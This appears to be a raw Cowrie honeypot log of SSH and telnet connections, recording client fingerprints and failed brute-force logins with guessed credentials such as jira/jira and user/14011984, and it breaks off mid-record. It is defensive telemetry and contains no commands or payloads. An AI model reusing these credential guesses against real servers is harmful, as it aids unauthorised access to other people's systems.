{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:35:16.374388Z","src_ip":"195.178.110.218","session":"b3cdb70a7359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:35:16.454108Z","src_ip":"195.178.110.218","session":"b3cdb70a7359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:35:16.691634Z","src_ip":"195.178.110.218","session":"b3cdb70a7359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:35:17.776518Z","src_ip":"195.178.110.218","session":"b3cdb70a7359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50174,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dae19a48f0f","protocol":"ssh","message":"New connection: 92.118.39.92:50174 (159.203.135.109:22) [session: 5dae19a48f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:01.138705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:01.142520Z","src_ip":"92.118.39.92","session":"5dae19a48f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:01.249405Z","src_ip":"92.118.39.92","session":"5dae19a48f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:01.771517Z","src_ip":"92.118.39.92","session":"5dae19a48f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:02.925371Z","src_ip":"92.118.39.92","session":"5dae19a48f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":54778,"dst_ip":"10.17.0.5","dst_port":23,"session":"781e5d946a0f","protocol":"telnet","message":"New connection: 176.65.148.214:54778 (10.17.0.5:23) [session: 781e5d946a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:04.884753Z"}
{"eventid":"cowrie.session.closed","duration":29.744611501693726,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:36:34.629237Z","src_ip":"176.65.148.214","session":"781e5d946a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":28036,"dst_ip":"10.17.0.5","dst_port":22,"session":"4efbfd1d505d","protocol":"ssh","message":"New connection: 2.57.121.25:28036 (10.17.0.5:22) [session: 4efbfd1d505d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:29.894427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:29.898150Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:29.996953Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011984","message":"login attempt [user/14011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:30.469551Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011982","message":"login attempt [user/14011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:31.574990Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13245768","message":"login attempt [user/13245768] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:32.676442Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13081978","message":"login attempt [user/13081978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:33.777774Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13061981","message":"login attempt [user/13061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:34.879955Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:35.980849Z","src_ip":"2.57.121.25","session":"4efbfd1d505d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44448,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3309e01e03a","protocol":"ssh","message":"New connection: 195.178.110.218:44448 (10.17.0.5:22) [session: e3309e01e03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:44.366261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:44.369060Z","src_ip":"195.178.110.218","session":"e3309e01e03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:44.449297Z","src_ip":"195.178.110.218","session":"e3309e01e03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:44.687941Z","src_ip":"195.178.110.218","session":"e3309e01e03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:37:45.769454Z","src_ip":"195.178.110.218","session":"e3309e01e03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":34830,"dst_ip":"159.203.135.109","dst_port":22,"session":"08946fb48a83","protocol":"ssh","message":"New connection: 171.237.176.209:34830 (159.203.135.109:22) [session: 08946fb48a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:00.797760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:00.802897Z","src_ip":"171.237.176.209","session":"08946fb48a83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:01.055502Z","src_ip":"171.237.176.209","session":"08946fb48a83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"password","message":"login attempt [dj/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:02.096968Z","src_ip":"171.237.176.209","session":"08946fb48a83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:03.352107Z","src_ip":"171.237.176.209","session":"08946fb48a83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":37396,"dst_ip":"159.203.135.109","dst_port":22,"session":"92a6dadaa882","protocol":"ssh","message":"New connection: 92.118.39.92:37396 (159.203.135.109:22) [session: 92a6dadaa882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:16.166291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:16.170427Z","src_ip":"92.118.39.92","session":"92a6dadaa882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:16.264228Z","src_ip":"92.118.39.92","session":"92a6dadaa882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser123","message":"login attempt [testuser/testuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:16.549441Z","src_ip":"92.118.39.92","session":"92a6dadaa882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:17.648338Z","src_ip":"92.118.39.92","session":"92a6dadaa882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37675,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bf00311b91d","protocol":"ssh","message":"New connection: 2.57.121.25:37675 (159.203.135.109:22) [session: 5bf00311b91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:44.465582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:44.470059Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:44.573642Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011984","message":"login attempt [user/14011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:45.062284Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011982","message":"login attempt [user/14011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:46.169096Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13245768","message":"login attempt [user/13245768] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:47.275235Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13081978","message":"login attempt [user/13081978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:48.381158Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13061981","message":"login attempt [user/13061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:49.487749Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:38:50.593916Z","src_ip":"2.57.121.25","session":"5bf00311b91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.247.11.225","src_port":54523,"dst_ip":"10.17.0.5","dst_port":23,"session":"d57526f35ed7","protocol":"telnet","message":"New connection: 110.247.11.225:54523 (10.17.0.5:23) [session: d57526f35ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:39:17.185818Z"}
{"eventid":"cowrie.session.closed","duration":13.195531845092773,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:39:30.381256Z","src_ip":"110.247.11.225","session":"d57526f35ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.142","src_port":27774,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0df32b71dd6","protocol":"telnet","message":"New connection: 64.62.156.142:27774 (159.203.135.109:23) [session: f0df32b71dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:24.782858Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39666,"dst_ip":"10.17.0.5","dst_port":22,"session":"4392db8b2a37","protocol":"ssh","message":"New connection: 195.178.110.218:39666 (10.17.0.5:22) [session: 4392db8b2a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:26.130678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:40:26.134480Z","src_ip":"195.178.110.218","session":"4392db8b2a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh